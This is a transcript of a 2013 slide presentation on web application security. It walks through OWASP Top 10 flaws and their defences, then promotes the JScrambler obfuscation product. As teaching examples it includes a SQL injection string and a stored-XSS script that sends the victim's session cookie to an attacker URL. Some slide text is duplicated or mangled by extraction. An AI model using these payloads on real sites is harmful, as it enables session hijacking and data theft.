Presentation is loading. Please wait.

Presentation is loading. Please wait.

Protecting the code of Web Applications

Similar presentations


Presentation on theme: "Protecting the code of Web Applications"— Presentation transcript:

1 Protecting the code of Web Applications
Pedro Fortuna Co-founder and CTO ISEP, June 19th 2013

2 Agenda Web Application Security JScrambler JavaScript Obfuscation

3 +web NEXT Web Application Security

4 Where things went wrong?
Web Browser Web Server GET /index.html static text Content delivery system

5 Where things went wrong?
Web Browser Web Server GET /index.html static text Content delivery system Web Browser Web Server GET /form.php?id=2&name=pedro%20fortuna dynamically generated response Application delivery system DB

6 Where things went wrong?
Users can submit arbitrary data to the server This includes all non-obvious sources of data that can be used by the application (cookies, HTTP headers) Data is mixed with all sorts of code (HTML, JavaScript, CSS, SQL) Complex to filter, escape and output-encode data <?PHP $place = 'Peter's Pizza'; print $place; ?> DB "uma frase aleatória" "uma frase aleatória" HTML escaping <?PHP $place = 'Peter\'s Pizza'; print $place; ?> DB PHP string escaping

7 OWASP Top 10 2010 edition A1: Injection A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Failure to Restrict URL Access A8: Insecure Cryptographic Storage A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards

8 A1 - Injection Tricking an application into including unintended commands in the data sent to an interpreter Injection means… Take strings and interpret them as commands SQL, OS Shell, LDAP, XPath, etc… Interpreters… Many applications still susceptible Even though it’s usually very simple to avoid SQL injection is still quite common Usually severe. Entire database can usually be read or modified May also allow full database schema, or account access, or even OS level access Typical Impact

9 SQL Injection - Illustrated
Account: SKU: Account: SKU: "SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’" Account Summary Acct: Acct: Acct: Acct: HTTP response  DB Table  HTTP request SQL query Application Layer Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Databases Legacy Systems Web Services Directories Human Resrcs Billing APPLICATION ATTACK Custom Code 1. Application presents a form to the attacker 2. Attacker sends an attack in the form data App Server 3. Application forwards attack to the database in a SQL query Web Server Hardened OS 4. Database runs query containing attack and sends encrypted results back to application Network Layer Firewall Firewall 5. Application decrypts data as normal and sends results to the user

10 A1 – Avoiding Injection Flaws
Recommendations Avoid the interpreter entirely, or Use an interface that supports bind variables (e.g., prepared statements, or stored procedures), Bind variables allow the interpreter to distinguish between code and data Encode all user input before passing it to the interpreter Always perform ‘white list’ input validation on all user supplied input Always minimize database privileges to reduce the impact of a flaw References For more details, read

11 A2 – Cross-Site Scripting (XSS)
Raw data from attacker is sent to an innocent user’s browser Occurs any time… Stored in database Reflected from web input (form field, hidden field, URL, etc…) Sent directly into rich JavaScript client Raw data… Try this in your browser – javascript:alert(document.cookie) Virtually every web application has this problem Steal user’s session, steal sensitive data, rewrite web page, redirect user to phishing or malware site Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites Typical Impact

12 Cross-Site Scripting (XSS) Illustrated
1 Attacker sets the trap – update my profile Application with stored XSS vulnerability Hello my name is Peter <script> XSSImage=new Image; XSSImage.src="http:// /catcher?cookie="+document.cookie); </script> Attacker enters a malicious script into a web page that stores the data on the server Custom Code Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions 2 Victim views page – sees attacker profile Script runs inside victim’s browser with full access to the DOM and cookies 3 Script silently sends attacker Victim’s session cookie Attacker enters a malicious script into a web page that stores the data on the server. Custom Code. Accounts. Finance. Administration. Transactions. Communication. Knowledge Mgmt. E-Commerce. Bus. Functions. 2. Victim views page – sees attacker profile. Script runs inside victim’s browser with full access to the DOM and cookies. 3. Script silently sends attacker Victim’s session cookie.", "width": "800" }

13 A2 – Avoiding XSS flaws Recommendations References Eliminate Flaw
Don’t include user supplied input in the output page Defend Against the Flaw Primary Recommendation: Output encode all user supplied input (Use OWASP’s ESAPI to output encode: Perform ‘white list’ input validation on all user input to be included in page For large chunks of user supplied HTML, use OWASP’s AntiSamy to sanitize this HTML to make it safe See: References For how to output encode properly, read the new Site Scripting) Prevention Cheat Sheet

14 Safe Escaping Schemes in Various HTML Execution Contexts
#1: ( &, <, >, " )  &entity; ( ', / )  &#xHH; ESAPI: encodeForHTML() HTML Element Content (e.g., <div> some text to display </div> ) #2: All non-alphanumeric < 256  &#xHH ESAPI: encodeForHTMLAttribute() HTML Attribute Values (e.g., <input name='person' type='TEXT' value='defaultValue'> ) #3: All non-alphanumeric < 256  \xHH ESAPI: encodeForJavaScript() JavaScript Data (e.g., <script> some javascript </script> ) #4: All non-alphanumeric < 256  \HH ESAPI: encodeForCSS() CSS Style Property Values (e.g., .pdiv a:hover {color: red; text-decoration: underline} ) #5: All non-alphanumeric < 256  %HH ESAPI: encodeForURL() URI Attribute Values (e.g., <a href="javascript:toggle('lesson')" ) Recommendation: Only allow #1 and #2 and disallow all others See: for more details ) #4: All non-alphanumeric < 256  \HH. ESAPI: encodeForCSS() CSS Style Property Values. (e.g., .pdiv a:hover {color: red; text-decoration: underline} ) #5: All non-alphanumeric < 256  %HH. ESAPI: encodeForURL() URI Attribute Values. (e.g.,

15 A3 – Broken Authentication and Session Management
Means credentials have to go with every request Should use SSL for everything requiring authentication HTTP is a “stateless” protocol SESSION ID used to track state since HTTP doesn’t and it is just as good as credentials to an attacker SESSION ID is typically exposed on the network, in browser, in logs, … Session management flaws Change my password, remember my password, forgot my password, secret question, logout, address, etc… Beware the side-doors User accounts compromised or user sessions hijacked Typical Impact

16 A3 – Broken Authentication Illustrated
1 User sends credentials Custom Code Accounts Finance Administration Transactions Communication Knowledge Mgmt E-Commerce Bus. Functions Site uses URL rewriting (i.e., put session in URL) 2 3 User clicks on a link to in a forum Hacker checks referer logs on and finds user’s JSESSIONID 4 5 Hacker uses JSESSIONID and takes over victim’s account

17 A3 – Avoiding Broken Authentication and Session Management
Verify your architecture Authentication should be simple, centralized, and standardized Use the standard session id provided by your framework (e.g. PHP Zend) Be sure SSL protects both credentials and session id at all times Verify the implementation Check your SSL certificate Examine all the authentication-related functions Verify that logoff actually destroys the session Make the session expire Make the session unmovable (function(IP_ADDRESS)) Follow the guidance from

18 +JS NEXT JScrambler

19 Who we are ? The Start Vision/Mission The Company
Started in late 2008 Following the vision that software and data are migrating rapidly to the web, but security isn’t evolving at the same pace. Innovative Web Security Solutions The Start Vision: we believe that the strongest approach to Web Security should be to put the 1st line of defense on the client-side Mission: to be a leader in Web Application Protection technology Vision/Mission Top Web Security Team 30Y of combined experience Being advised by Pereira Ventures in its International Expansion The Company Leaders in JavaScript Obfuscation since 2010 Top 100 European Startup in 2009 In the European Unlimited Eurecan European Contest Awards

20 What do we do? Web Traffic Security Services Auditing Web
JavaScript Source code protection Obfuscates JS/HTML5 WebApps Protects the code from being stolen, inspected, tampered with Web Traffic Auditing Security Services Enterprise Web Application Protection against Man int the Browser and other security attacks Web Application Security

21 What is the world’s most popular language ?

22 3+ Years Protecting Apps
Release History +3 YEARS PROTECTING WEB APPLICATIONS Beta version 1.0 released 2.0 released 3.0 released JS lines of code 120 MILLION PROTECTED 106 Countries 5000 Clients

23 JScrambler Feedback ROVIO TECHCRUNCH RSA SECURITY Customer NEWS
“JScrambler does seem to offer the most complete solution. Out of the box, it should work with most of the standard libraries” TECHCRUNCH Customer “JScrambler results look promising” ROVIO Customer "We are trying to push the envelope and it’s good to have a nimble partner that is aggressive at achieving this” RSA SECURITY

24 JScrambler Obfuscation Code Execution Control Optimization
State of the art Web Application Protection and Optimization JavaScript HTML5/JavaScript Mobile Web Applications Web Games Obfuscation JavaScript Domain Lock Expiration Date Anti-debugging Code Execution Control JavaScript Code Simplification Dead Code Removal Compression Optimization

25 JScrambler Obfuscation: The art of making code unreadable

26 JScrambler Domain Lock Expiration Date Anti Debugging
Code Execution Control Domain Lock Expiration Date Anti Debugging

27 JavaScript Obfuscation
NEXT JavaScript Obfuscation

28 NEXT We look forward for you contact and feedback Questions

29 Contact Us Porto Headquarters Lisbon Office Pedro Fortuna CTO
Edifício Central da UPTEC Rua Alfredo Allen, 455 Porto, Portugal Lisbon Office Rua da Prata 121 5º A Lisboa Portugal Pedro Fortuna CTO auditmark.com


Download ppt "Protecting the code of Web Applications"

Similar presentations


Ads by Google